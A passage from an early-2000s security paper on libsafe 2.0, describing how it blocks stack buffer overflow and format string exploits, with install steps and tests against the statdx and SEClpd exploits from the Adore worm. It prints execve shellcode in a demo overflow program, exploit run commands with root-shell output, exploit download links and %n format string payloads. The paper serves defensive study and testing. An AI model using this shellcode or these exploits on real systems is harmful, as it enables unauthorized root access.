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Stack Exploits 
Stack exploits are key tools for crackers. These individuals with malicious intent use such 
tools in their quest to infiltrate computer systems and gain unauthorized access. Stack 
exploits take advantage of buffer overflow and format string vulnerabilities in software. 
Development of stack exploit methods continues to increase as new weaknesses are 
discovered in computer programs. These exploits are either manually initiated by a 
cracker or part of an elaborate automated process as in the case of a worm that 
incorporates multiple stack exploits to propagate itself. 
 
What is an information security administrator to do in the face of a seemingly unending 
flood of stack-related vulnerabilities? A major tenet of security against stack exploits is 
the timely application of software patches after the announcement of a vulnerability. The 
rapid rate of discovered vulnerabilities (announced publicly or kept secret in cracker 
circles) and release of corresponding exploits from the cracker community makes this a 
difficult job for the weary administrator. This results in a race condition between crackers 
and security administrators. Response time to plug security holes becomes vital. The 
security administrator may be further constrained when patching mission critical 
software. A patch to this type of software may need to be tested as part of a change 
management process. A delay in applying a software patch affords more opportunities for 
a cracker to carry out an attack. Furthermore, a patch is a specific solution that may apply 
only to a particular software module or subsystem. This does nothing to address yet 
undiscovered vulnerabilities. 
 
Another tenet of stack exploit prevention is the auditing of source code for vulnerabilities 
such as a buffer lacking bounds checking. Open source software and its associated 
development process facilitate this task. Many programmer eyeballs increase the 
likelihood of discovering security bugs. The ubiquity of open source software allows 
testing of software packages in many different configurations and environments. This 
also improves the chances and speed of finding weaknesses in code. However, source 
code may not always be available due to licensing restrictions. A software license might 
dictate that only the binary executables of a software package be distributed. Community 
based code audits are not possible in this scenario. Performing code audits on closed 
source software may be limited to only a select group of developers within a software 
development organization. 
  
These issues have led a team of researchers at Avaya Labs (http://www.avayalabs.com) 
to develop a solution called libsafe (http://www.avayalabs.com/project/libsafe/). Libsafe 
gets to the root of stack exploits. Stack-related vulnerabilities arise when certain standard 
C library functions are called without bounds checking on passed arguments. Libsafe 
addresses these issues by intercepting the vulnerable calls and substituting appropriate 
reimplemented functions. Libsafe’s substitute functions enforce writing to memory 
locations within a “safe” address perimeter. When an attempt is made to write to memory 
outside of the proper address space, libsafe intervenes and terminates the offending 
process. Libsafe is a shared library that is dynamically loaded. Libsafe offers a “general” 
solution that can be implemented on a system-wide basis. No modifications to the 
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operating system or installed programs are required. Libsafe 2.0 source code is under the 
GNU Lesser General Public License. 
 
The purpose of this document is to describe the following: 

1. How libsafe protects a system from stack exploits. 
2. A step by step guide to installing libsafe on Red Hat Linux 6.2 and 7.0 

systems. 
3. Testing the effectiveness of libsafe against real world exploits. 

 
How does a Buffer Overflow Exploit Work? 
To understand how libsafe 2.0 protects a system against stack exploits, an introduction to 
the inner workings of buffer overflow exploits is appropriate. The following buffer 
overflow example is installed as part of the libsafe 2.0 package and discussed in a paper 
by Baratloo, Singh, and Tsai, “Transparent Run-Time Defense Against Stack Smashing 
Attacks” available at http://www.avayalabs.com/project/libsafe/doc/usenix00/paper.html. 
The file for this exploit is /usr/share/doc/libsafe-2.0/exploits/t1.c. 
 
#include <stdio.h> 
#include <string.h> 
 
char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
 
char large_string[128]; 
 
int main(int ac, char *av[]) 
{ 
    char buffer[96]; 
    int i; 
    long *long_ptr = (long *) large_string; 
 
    printf("This program tries to use strcpy() to overflow the 
buffer.\n"); 
    printf("If you get a /bin/sh prompt, then the exploit has 
worked.\n"); 
    printf("Press any key to continue..."); 
    getchar(); 
 
    for (i = 0; i < 32; i++) 
        *(long_ptr + i) = (int) buffer; 
    for (i = 0; i < (int) strlen(shellcode); i++) 
        large_string[i] = shellcode[i]; 
    strcpy(buffer, large_string); 
    return 0; 
} 
 
The source file begins with inclusion of the standard input/output and string header files.  
The first variable declared is “shellcode” which is a character array. “Shellcode” contains 
the machine language instructions for the system call exec(“/bin/sh”). This is also 
referred to as the attack code. We see the ultimate goal of this program is to spawn a 
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shell. How does this code get executed since it is only stored as data in this program? The 
following shows the steps in preparing the execution of this code. 
 
A character array named “large_string” is next declared. This variable provides a 128 
byte storage area for building the malicious string.  The main() function is declared with 
two parameters, the argument count and pointer to the argument strings. 
 
The 96 byte character array “buffer” is the target buffer that will be overflowed in the 
buffer overflow demonstration. Variable “i” will be used as a counter in the loops related 
to building the malicious string. The variable “long_ptr” is a pointer to “large_string”. 
 
Introductory messages stating the purpose of the program are printed. The getchar() 
function will pause execution until a keystroke is made. Now the real work starts. 
 
    for (i = 0; i < 32; i++) 
        *(long_ptr + i) = (int) buffer; 
 
The above for loop executes 32 times. Since a long int is 32 bits or 4 bytes, each iteration 
will write 4 bytes to “large_string” which is pointed to by “long_ptr”.  The 4 bytes make 
up the memory location of “buffer”. “Large_string” is essentially a sequence of 32 
instances of a pointer to the character array “buffer”. The sequence fills all 128 bytes 
allocated. 
 
    for (i = 0; i < (int) strlen(shellcode); i++) 
        large_string[i] = shellcode[i]; 
 
The next for loop copies the shellcode to the beginning of “large_string”. “Large_string” 
now contains malicious shellcode and a series of pointers to the shellcode. This is a 
critical element of the buffer overflow exploit. 
 
The next line of code is the heart of the buffer overflow exploit. The function strcpy() is a 
vulnerable function since it does not bounds check arguments it receives. 
 
When the main() function is executed a 96 byte storage area is first allocated on the stack. 
Preceding this location is the previous frame pointer. The frame pointer is preceded by a 
memory location containing the return address to the calling function. Code in the main() 
function should not manipulate frame pointers or return address locations on the stack. 
What happens when a 128 byte buffer is copied into a 96 byte buffer? 
 
When the strcpy() function is executed not only will the 96 bytes originally allocated to 
“buffer” be written, but also an additional 32 bytes. Where will the remaining 32 bytes of 
“large_string” be written? The frame pointer and return address locations. Since there is 
no bounds checking built into strcpy(), the function will happily write to higher memory 
locations (regardless of the allocated size of the destination buffer) until it has copied the 
entire source string argument passed to it. At this point the destination buffer is 
“overflowed” or “smashed”. 
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When the return statement is executed the processor will pop the return address from the 
expected location on the stack. Execution will jump to the return address. However, the 
return address location has been overwritten by the strcpy() function. The program’s flow 
of execution is directed to the location of “buffer”. What is at the beginning of “buffer”? 
The shellcode that spawns a shell! 
 
Below are commands to compile and execute the buffer overflow example on a Red Hat 
Linux 7.0 system. The exploit is successful in executing /bin/sh. 
 
[cracker@attackhost70 cracker]$ cd /usr/share/doc/libsafe-2.0/exploits 
[cracker@attackhost70 cracker]$ gcc t1.c –o t1 
[cracker@attackhost70 cracker]$./t1 
 
This program tries to use strcpy() to overflow the buffer 
If you get a /bin/sh prompt, then the exploit has worked. 
Press any key to continue... 
sh-2.04$ 
 
In real world programs that contain buffer overflow vulnerabilities, malicious strings 
containing shellcode and return addresses to the shellcode are processed in vulnerable 
functions that accept user supplied data. Possible sources of user supplied data include 
environment variables and network connections. 
 
How does Libsafe 2.0 Work Against Buffer Overflow Exploits? 
The buffer overflow example worked because of the lack of bounds checking in strcpy() 
itself and the code that calls it in the t1 program. Note how the strcpy() function is 
implemented in the standard C library (from /usr/src/linux-2.2.16/lib/string.c, part of 
kernel-source-2.2.16-22.i386.rpm): 
 
char * strcpy(char * dest,const char *src) 
{ 
 char *tmp = dest; 
 
 while ((*dest++ = *src++) != '\0') 
  /* nothing */; 
 return tmp; 
} 
 
Copying from source buffer to destination buffer in this way is inherently unsafe. The 
destination buffer’s size limitation does not factor into deciding whether or not to execute 
the copying code in the while loop. Only until the null terminating character is copied 
does the while loop end. 
 
Libsafe 2.0 works by being loaded prior to the standard C library. This is accomplished 
with the preload feature of dynamically loadable ELF libraries. When libsafe 2.0 is 
loaded prior to the standard C library, it can selectively override functions in the standard 
C library. Libsafe 2.0 intercepts calls to a defined set of vulnerable library functions and 
uses substitute functions that provide identical functionality. In addition the substitute 
functions perform bounds checking and detect bounds violations prior to corruption of 
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memory locations. Libsafe 2.0 can intervene and terminate a process that has caused a 
bounds violation. The following is an excerpt from the reimplemented strcpy() function 
in /libsafe-2.0/src/intercept.c:  
 
char *strcpy(char *dest, const char *src) 
{ 
. . . 
    if ((len = strnlen(src, max_size)) == max_size) 
        _libsafe_die("Overflow caused by strcpy()"); 
    real_memcpy(dest, src, len + 1); 
    return dest; 
} 
 
The variable “max_size” is an unsigned integer assigned by the value returned from the 
_libsafe_stackVariableP() function. In this case it is supplied with one argument, a 
pointer to the destination buffer. When passed with a pointer argument 
_libsafe_stackVariableP() will return a zero value if the pointer does not reference a stack 
variable or the program was compiled without code to embed frame pointers on the stack. 
Libsafe 2.0 relies on embedded frame pointers in the stack to base its calculations for 
bounds checking. The gcc function __builtin_frame_address(0) is used by libsafe 2.0 to 
obtain frame pointers. Since return address locations are located next to frame pointers, a 
simple calculation yields the memory location containing the return address to the calling 
function. 
 
A positive integer returned by the _libsafe_stackVariableP() function is the number of 
bytes from the destination variable’s address location to the end of the stack frame that 
contains it. This positive number is the upper bounds or maximum number of bytes that 
can be safely written to the destination buffer without overwriting the previous frame 
pointer and return address location. 
 
The strnlen() function will return the length of a string, but only until a maximum size. 
The first argument to strnlen() is a pointer to the source buffer. The second argument is 
the maximum size strnlen() will return. If strnlen() returns the value of “max_size”, the 
source buffer size has exceeded the destination buffer size and the _libsafe_die() function 
is called. This function will log a violation entry into /var/log/secure. It will also 
terminate the process that attempted to overflow the destination buffer by sending it a 
SIGABRT signal. Below are messages produced by libsafe 2.0 when the t1 program 
causes a stack violation: 
 
Detected an attempt to write across stack boundary. 
Terminating /usr/share/doc/libsafe-2.0/exploits/t1. 
     uid=500  euid=500  pid=2303 
Call stack:   
     0x4001c39a  
     0x4001c4a3  
     0x80485bc  
     0x40047b60  
Overflow caused by strcpy() 
Sent email to root@attackhost70  
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The messages include information about the call stack, a list of return addresses 
associated with called functions in the t1 program. Libsafe 2.0 has successfully prevented 
the t1 program from corrupting frame pointer and return address locations. The t1 
program is terminated before it can redirect program flow and cause a shell to be 
spawned. 
 
In a case where the bounds check passes, the standard C library function memcpy() is 
called as a “safe” implementation of the string copying functionality. Contents of the 
source buffer are copied to the destination buffer, but the imposed limit is the calculated 
length of the source string. This length value passed the safety check earlier where it was 
evaluated as being less than the upper bounds value stored in the variable “max_size”.  
Note the third argument to memcpy(), n + 1. This instructs memcpy() to copy the entire 
length of the string and the null terminating character. Implementing the behavior of the 
original strcpy() function, the libsafe 2.0 version of strcpy() returns a pointer to the 
destination buffer. 
 
Through dynamic run time calculations libsafe 2.0 detects and prevents stack exploits. 
Libsafe 2.0 uses a similar strategy with other “unsafe” standard C library functions. The 
following is a list of the supported “unsafe” functions. 
 
1. strcpy(char *dest, const char *src) 
2. strcat(char *dest, const char *src) 
3. getwd(char *buf) 
4. gets(char *s) 
5. realpath(char *path, char resolved_path[]) 
 
With version 2.0, libsafe prevents another class of stack exploits by securing against 
format string vulnerablities. Format string exploits attack weaknesses in the usage of the 
*printf() and *scanf() family of functions. With these exploits, a destination buffer is not 
overflowed. However, they accomplish the same objective as buffer overflow exploits in 
that they manipulate return address locations on the stack. This is accomplished through 
format specifiers. Format string exploits are discussed in detail later in this document 
under the section “Libsafe 2.0 vs. Adore Worm”.  Libsafe 2.0 extends its strategy of 
substituting “safe” reimplementations of vulnerable functions to the *printf and *scanf 
family of functions. 
 
Installing Libsafe 2.0 
Steps for building and installing libsafe 2.0 on Red Hat Linux 6.2 and 7.0 systems are 
identical. Red Hat Linux 7.0 requires an upgrade to gcc compiler version 2.96-85 in order 
to build the libsafe 2.0 package. See the section “Upgrading gcc on Red Hat Linux 7.0” 
for detailed steps to accomplish this. The following steps are performed as the root user. 
 
Build Libsafe 2.0 Source and Binary rpms with Custom Security Options 
1.  ____ Download the libsafe 2.0 source rpm, 

http://www.avayalabs.com/project/libsafe/src/libsafe-2.0-1.src.rpm 
to a directory on the target system.  
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2.  ____ /bin/rpm –ivh libsafe-2.0-1.src.rpm 
Install the source rpm. 

3.  ____ /bin/tar –xzf /usr/src/redhat/SOURCES/libsafe-2.0.tgz –C 
/usr/src/redhat/SOURCES/ 
4.  ____  Edit the file /usr/src/redhat/SOURCES/libsafe-2.0/src/vfprintf.c: 

Change lines 2066 and 2102 from: 
_libsafe_warn("printf(\"%%n\") -- WARNING ONLY!!!") 
to: 
_libsafe_die("printf(\"%%n\") points to return address or 
frame pointer") 
The default action libsafe 2.0 will take when a “%n” format specifier 
safety check violation is found is to only generate a warning and not 
terminate the offending process. The code change above represents a more 
cautious approach. This option instructs libsafe 2.0 to terminate the 
offending process when a “%n” violation is detected. Setting this option is 
key to preventing the statdx format string exploit discussed later in this 
document. 

5.  ____  Edit the file /usr/src/redhat/SOURCES/libsafe-2.0/src/Makefile: 
  Change line 62 from: 
  CCFLAGS      = -02 –Wall –DNDEBUG –fpic 

to: 
  CCFLAGS      = -02 –Wall –DNDEBUG –fpic –DNOTIFY_WITH_EMAIL 
  This enables the email facility in libsafe 2.0 to send email when it detects 
  a stack violation. 
6.  ____ cd /usr/src/redhat/SOURCES/ 
7.  ____ /bin/tar -cvzf libsafe-2.0.tgz libsafe-2.0/ 
8.  ____ /bin/rm –rf libsafe-2.0 
9.  ____ /bin/rpm –ba /usr/src/redhat/SPECS/libsafe-2.0.spec 
  This command will build libsafe 2.0 through all phases of the rpm  

build process. The source rpm, libsafe-2.0-1.src.rpm, will be written to 
/usr/src/redhat/SRPMS/. The binary rpm, libsafe-2.0-1.i386.rpm, will be 
written to /usr/src/redhat/RPMS/i386/. The binary rpm can be copied to 
other systems where libsafe 2.0 will be installed. 

 
Libsafe 2.0 Installation from Binary rpm 
10. ____ /bin/rpm –ivh /usr/src/redhat/RPMS/i386/libsafe-2.0-1.i386.rpm 
  Install the libsafe 2.0 package. 
11. ____ /bin/echo /lib/libsafe.so.2 >> /etc/ld.so.preload 
  This configuration file will cause the libsafe 2.0 library to be loaded prior 

to the standard C library on a system-wide basis. This enables  
libsafe 2.0 to protect processes that utilize unsafe functions  
in the shared standard C library. 

12. ____ Create a file /etc/libsafe.notify:  
List the email addresses (one email address per line) of systems 
administrators that need to be notified when libsafe 2.0 detects a stack 
violation. 

13. ____ /sbin/shutdown –r now 
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The installation is now complete and the target system is protected with libsafe 2.0. The 
custom options include termination of processes violating a “%n” safety check and email 
notification of stack violations. 
 
Upgrading gcc on Red Hat Linux 7.0 
The following steps describe the upgrade process for the gcc compiler from version 2.96-
54 to 2.96-85. 
1.   ____ Download the following file to a directory on the target system:  

 ftp://updates.redhat.com/7.0/en/os/i386/cpp-2.96-85.i386.rpm 
2.   ____ Download the following file to a directory on the target system:  

 ftp://updates.redhat.com/7.0/en/os/i386/gcc-2.96-85.i386.rpm 
3.  ____ /bin/rpm –U cpp-2.96-85.i386.rpm 
4.  ____ /bin/rpm –U gcc-2.96-85.i386.rpm 
 
Libsafe 2.0 vs. Adore Worm 
Systems administrators will want to test the viability of the preventative measures offered 
by libsafe 2.0. An effort was made to test Red Hat Linux systems protected with libsafe 
2.0 against real world, well-known attacks. Default server class installations of Red Hat 
Linux were used in order to achieve test results that can easily be reproduced. 
 
The Adore worm, released around April 1, 2001 propagated to a large number of Linux 
systems on the public Internet. We will focus on two stack exploits that are part of the 
Adore package: statdx and SEClpd. They are capable of gaining root shell access on 
vulnerable systems. Running these exploits against a libsafe 2.0 protected system 
simulates an actual threat and an assessment can be made as to the effectiveness of 
libsafe 2.0. 
 
Two target systems were built. Red Hat Linux version 6.2 was installed on one machine 
and Red Hat Linux version 7.0 was installed on a second machine. Both systems were 
built with default settings for a server class installation and then set up on a test network. 
Version 6.2 contains the rpc.statd vulnerability and version 7.0 has the LPRng 
vulnerability. Exploits were run from a third Red Hat Linux 7.0 server class machine on 
the test network. 
 
Statdx Exploit 
The statdx exploit takes advantage of a vulnerability in the rpc.statd program. It is a part 
of the nfs-utils package. Red Hat Linux 6.2 comes with the vulnerable nfs-utils version 
0.1.6. There is a format string vulnerability in a call to the syslog() function (CVE-2000-
0666, http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0666, bugtraq ID 1480, 
http://www.securityfocus.com/vdb/bottom.html?vid=1480). It is shown in the code 
excerpt below from /nfs-utils-0.1.6/utils/statd/log.c in nfs-utils-0.1.6-2.src.rpm: 
 
void 
log(int level, char *fmt, ...) 
... 
    if (level < L_DEBUG) { 
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        syslog(level, buffer); 
... 
 
Because of this “unsafe” processing of user supplied data stored in the character array 
“buffer” an attacker can construct a malicious string and take advantage of the logging 
mechanism to inject executable code. The call to the syslog() function lacks a “%s” 
format specifier argument needed to safely process the user supplied data. 
 
Due to this bug the attacker can insert arbitrary specifiers and arguments in a malicious 
string. This is where the “%n” specifier comes in. When processed a “%n” format 
specifier will write to a memory location the number of characters written up to the 
occurrence of  “%n” in the call to a *printf() function. The memory location is obtained 
through a pointer argument supplied to a *printf() function.  With some work, the “%n” 
specifier can be exploited to cause arbitrary values to be written to arbitrary locations in 
memory. 
 
Syslog() utilizes the vsprintf() function to build the message string that will be logged 
(implemented in /sysklogd-1.3.31-16/syslog.c, a source code file from sysklogd-1.3.31-
16.src.rpm).  When vsprintf() is called, a message string is passed to it as an argument. 
When vsprintf() encounters a “%n” format specifier it will look for a corresponding 
argument, a memory location to write. But only a single argument has been supplied to 
syslog(), the message string. Consequently, vsprintf() receives just one argument. Where 
is the expected location of the argument that “%n” needs? It immediately precedes the 
message string argument location in higher memory on the stack. Since no additional 
arguments have been supplied, the very next item on the stack is a buffer that vsprintf() 
will emit processed characters into. By crafting a memory address location to be emitted 
into this buffer, an attacker can control the pointer argument that “%n” needs. The 
attacker will simply construct a malicious string to begin with a memory address location. 
The malicious string is sent to the rpc.statd program where it will eventually be processed 
by the syslog() function. Crafting a return address location as an argument for “%n” 
results in a key ingredient of a stack exploit! 
 
How does the attacker control the value written to the return address location? The 
number of characters written can be manipulated through padding or field width 
specification in the malicious string. By constructing this value as a pointer to shellcode, 
the attacker can cause arbitrary code to be executed! Shellcode for statdx will be executed 
with root privileges since the rpc.statd program is run with such privileges. 
 
Statdx can be downloaded at 
http://www.securityfocus.com/data/vulnerabilities/exploits/statdx.c. 
 
Statdx behaves similarly to other exploits that take advantage of unsafe calls to the 
syslog() function. Its first act is to establish a TCP connection with the service that 
contains the vulnerability. In this case, the rpc.statd program is the target service. It 
listens on TCP port 111. Once a TCP connection is established, the malicious string is 
sent over the connection. The rpc.statd program will process the malicious string as input 
and then trigger an error condition because the malicious string is unrecognizable by the 
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program. The rpc.statd program will faithfully log this error, as it should with any other 
erroneous input that doesn’t meet its input specifications. However, this is done through 
the unsafe call to syslog(). The malicious format specifiers are then processed. This 
unfortunate series of events leads to dire results for the target machine. 
 
On the Red Hat Linux 7.0 attack host the following was performed to compile and run 
the exploit against the Red Hat Linux 6.2 machine (IP address 172.16.31.20): 
 
[cracker@attackhost70 cracker]$ gcc statdx.c –o statdx 
[cracker@attackhost70 cracker]$ statdx –d 0 172.16.31.20  
 
The first command compiles statdx. The second command executes statdx with two 
arguments. The –d 0 argument specifies the target type, 0 being a Red Hat Linux 6.2 with 
nfs-utils 0.1.6. The second argument is the IP address of the target host. The following is 
output from the exploit. Note the directory listing from the target host and the privilege 
level gained. At this point the attacker has a root shell prompt and “owns the box.” 
 
buffer: 0xbffff314 length: 999(+str/+nul) 
target: 0xbffff718 new: 0xbffff56c (offset: 600) 
wiping 9 dwords 
clnt_call(): RPC: Timed out 
a timeout was expected. Attempting connection to shell.. 
OMG! You now have rpc.statd technique!@#$! 
total 68 
drwxr-xr-x   17 root     root         1024 Jul 18 06:37 ./ 
drwxr-xr-x   17 root     root         1024 Jul 18 06:37 ../ 
drwxr-xr-x    2 root     root         2048 Jul 18 07:16 bin/ 
drwxr-xr-x    2 root     root         1024 Jul 24 18:01 boot/ 
drwxr-xr-x    6 root     root        34816 Jul 24 18:01 dev/ 
drwxr-xr-x   29 root     root         3072 Jul 24 18:01 etc/ 
drwxr-xr-x    5 root     root         1024 Jul 20 16:18 home/ 
drwxr-xr-x    4 root     root         3072 Jul 23 01:31 lib/ 
drwxr-xr-x    2 root     root        12288 Jul 18 06:37 lost+found/ 
drwxr-xr-x    4 root     root         1024 Jul 18 06:37 mnt/ 
drwxr-xr-x    2 root     root         1024 Aug 23  1999 opt/ 
dr-xr-xr-x   40 root     root            0 Jul 24 08:00 proc/ 
drwxr-x---    5 root     root         1024 Jul 23 03:23 root/ 
drwxr-xr-x    3 root     root         3072 Jul 18 07:17 sbin/ 
drwxrwxrwt    3 root     root         1024 Jul 24 18:01 tmp/ 
drwxr-xr-x   20 root     root         1024 Jul 18 07:00 usr/ 
drwxr-xr-x   19 root     root         1024 Jul 18 07:17 var/ 
uid=0(root) gid=0(root) 
 
The following entry was logged in /var/log/messages on the target Red Hat 6.2 machine. 
It contains output emitted by the malicious string from statdx. Note the Intel 0x90 NOP 
(null operation) codes that are used to pre-pad the shellcode (the shellcode has been 
truncated from the syslog entry). These are printed as “<90>”. When the processor 
encounters a null operation instruction, nothing happens and execution proceeds to the 
next machine instruction in memory. NOP instructions are generally used to create timing 
delays. In stack exploits, NOP instructions are used to overcome a problem associated 
with changing a program’s flow of execution. Due to the dynamic nature of the stack 
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address space, it is difficult to guess the starting address location of the shellcode. A large 
sequence of NOP instructions pre-padded to the shellcode provides a solution to this 
problem. It increases the chances of executing the shellcode. This is because the value 
written to the return address location does not need to contain a precise starting address. 
The value written to the return address location needs to only fall within a range of 
memory address locations that begins with the first of a series of NOP codes and ends 
with the first instruction of machine code that calls exec(“/bin/sh”). An exploit that 
succeeds in accomplishing this will cause the program’s flow of execution to jump 
somewhere in the sequence of NOP codes or if it is fortunate, the start of the shellcode. If 
necessary, the remaining NOP instructions up to the shellcode are executed. Finally, the 
shellcode is run. 
 
Jul 24 23:40:40 targethost62 rpc.statd[346]: gethostbyname error for 
^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿bffff750 8049710 
8052c18687465676274736f6d616e797265206520726f7220726f66                                                                                          
bffff718                                                                                                              
bffff718  bffff719                                                                                                                                                                                        
bffff71a<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><
90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><
90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><
90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><
90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> 
 
Statdx was then executed against the Red Hat Linux 6.2 host with libsafe 2.0 installed. 
Installation was based on the Libsafe 2.0 installation instructions in this document. The 
attack host failed to gain root shell access as indicated below. 
 
buffer: 0xbffff314 length: 999(+str/+nul) 
target: 0xbffff718 new: 0xbffff56c (offset: 600) 
wiping 9 dwords 
clnt_call(): RPC: Unable to receive; errno = Connection refused 
Failed 
 
Libsafe 2.0 successfully stopped this attack by detecting the attempt to overwrite the 
return address area on the stack and terminating the offending process. The following is 
an excerpt from /var/log/secure after the exploit attempt: 
 
Jul 26 13:21:26 targethost62 libsafe.so[346]: version 2.0 
Jul 26 13:21:26 targethost62 libsafe.so[346]: Detected an attempt to 
write across stack boundary. 
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Jul 26 13:21:26 targethost62 libsafe.so[346]: Terminating 
/sbin/rpc.statd. 
Jul 26 13:21:26 targethost62 libsafe.so[346]:     uid=0  euid=0  
pid=346 
Jul 26 13:21:26 targethost62 libsafe.so[346]: Call stack:  
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x40018991  
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x4001e747  
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x400218d9  
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x400d848a  
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x400d82ea  
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x8049d25  
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x804a4c0  
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x8049695  
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x400fb088  
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x804acb5  
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x804a621  
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x400419c6  
Jul 26 13:21:26 targethost62 libsafe.so[346]: printf("%n") points to 
return address or frame pointer 
 
The emitted malicious string is still logged to /var/log/messages in the second statdx 
attempt. However, with libsafe 2.0 activated the “effects” of the malicious string are 
never felt by the target system. 
 
A default installation of libsafe 2.0 will not prevent the statdx exploit. There is a default 
option that allows a process that violates a “%n” safety check to continue execution. With 
the default libsafe 2.0 configuration activated on a Red Hat Linux 6.2 system, statdx will 
successfully gain root shell access. Libsafe 2.0 in this situation will only log a violation 
and not terminate the offending process. Setting the option to terminate a process that 
violates a “%n” safety check is described earlier in this document in the “Installing 
Libsafe 2.0” section. The author has contacted the developers at Avaya Labs regarding 
this issue. 
 
SEClpd Exploit 
SEClpd works similarly to statdx in that it exploits a format string vulnerability in a 
syslog() function call to gain root shell access. It uses the same steps of building a 
malicious string, establishing a TCP connection with the target service, sending the 
malicious string as garbage input, forcing an error condition that is logged using syslog(), 
and finally causing a return address location to be overwritten through format specifiers. 
LPRng version 3.6.22, part of the Red Hat Linux 7.0 distribution, contains this weakness 
(CVE-2000-0917 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0917, 
bugtraq ID 1712 http://www.securityfocus.com/vdb/bottom.html?vid=1712).  A syslog() 
“wrapper” use_syslog() contains the unsafe call to the syslog() function. Note the excerpt 
from /LPRng-3.6.22/src/common/errormsgs.c (from LPRng-3.6.22-5.src.rpm): 
 
static void use_syslog(int kind, char *msg) 
... 
# ifdef HAVE_OPENLOG 
        /* use the openlog facility */ 
        openlog(Name, LOG_PID | LOG_NOWAIT, SYSLOG_FACILITY ); 
        syslog(kind, msg); 
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        closelog(); 
 
# else 
    (void) syslog(SYSLOG_FACILITY | kind, msg); 
# endif                                                 /* HAVE_OPENLOG 
*/ 
#endif                          /* HAVE_SYSLOG_H */ 
... 
 
An attacker can exploit the use_syslog() function by constructing malicious specifiers 
that will be stored in the “msg” character array and passed to syslog() sans a “%s” format 
specifier argument. LPRng runs with root privileges and thus will execute malicious 
injected code with the same privileges. 
 
Source for SEClpd can be downloaded from 
http://www.securityfocus.com/data/vulnerabilities/exploits/SEClpd.c. 
 
SEClpd is compiled and run from the attack host with the commands below. 
 
[cracker@attackhost70 cracker]$ gcc seclpd.c –o seclpd 
[cracker@attackhost70 cracker]$ seclpd 172.16.31.16 brute –t 0 
 
The target IP address argument is followed by two interesting arguments. The second 
argument -t 0 specifies the type of system that will be attacked. A Red Hat Linux 7.0 – 
Guiness system is specified here. Predetermined return address locations for various Red 
Hat Linux 7.0 releases are coded into SEClpd and appropriately used when a system type 
is specified. When a predetermined return address location fails to carry out the exploit, 
the exploit can be run in “brute” force mode by supplying the brute argument to SEClpd. 
SEClpd will incrementally guess the return address location in brute force fashion. Note 
below the return address locations that are generated by SEClpd through each iteration of 
the brute force loop. The characters following “Append:” contain the malicious format 
specifiers that attempt to write the return address location with the memory address 
location of the shellcode. The shellcode contains functionality to call the execution of 
/bin/sh. 
 
+++ Security.is remote exploit for LPRng/lpd by DiGiT 
 
+++ Exploit information 
+++ Victim: 172.16.31.16 
+++ Type: 0 - RedHat 7.0 - Guinesss 
+++ Eip address: 0xbffff3ec 
+++ Shellcode address: 0xbffff7f2 
+++ Position: 300 
+++ Alignment: 2 
+++ Offset 0 
 
+++ Attacking 172.16.31.16 with our format string 
+++ Brute force man, relax and enjoy the ride ;> 
 
Generation complete: 
Address: 
f0ffffbf.f1ffffbf.f2ffffbf.f3ffffbf.58585858.58585858.58585858.58585858 
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.58585858 
Append: %.176u%300$n%.13u%301$n%.253u%302$n%.192u%303$n 
 
Generation complete: 
Address: 
f0ffffbf.f1ffffbf.f2ffffbf.f3ffffbf.58585858.58585858.58585858.58585858 
.58585858 
Append: %.176u%300$n%.13u%301$n%.253u%302$n%.192u%303$n 
 
. . . 
 
Generation complete: 
Address: 
d8f3ffbf.d9fdffbf.daf3ffbf.dbf3ffbf.58585858.58585858.58585858.58585858 
Append: %.152u%300$n%.25u$301$nsecurity%302$n%.192u%303$n 
+++ The eip_address is 0xbfff3d8 
 
-   [+] shell located on 172.16.31.16 
-   [+] Enter Commands at Will 
 
 
Linux targethost62.localdomain 2.2.16-22 #1 Tue Aug 22 16:49:06 EDT 
2000 i686 unknown 
uid=0(root) gid=7(lp) 
 
SEClpd has identified the return address location, run the shellcode and given the attacker 
a root shell. 
 
Below is an entry in /var/log/messages that contains the LPRng error condition and the 
malicious string. Like the malicious string from statdx, SEClpd’s malicious string 
contains numerous Intel 0x90 NOP codes to increase the probability of executing the 
shellcode. 
 
Jul 25 02:30:36 localhost SERVER[1618]: Dispatch_input: bad request line 'BBØóÿ¿ 
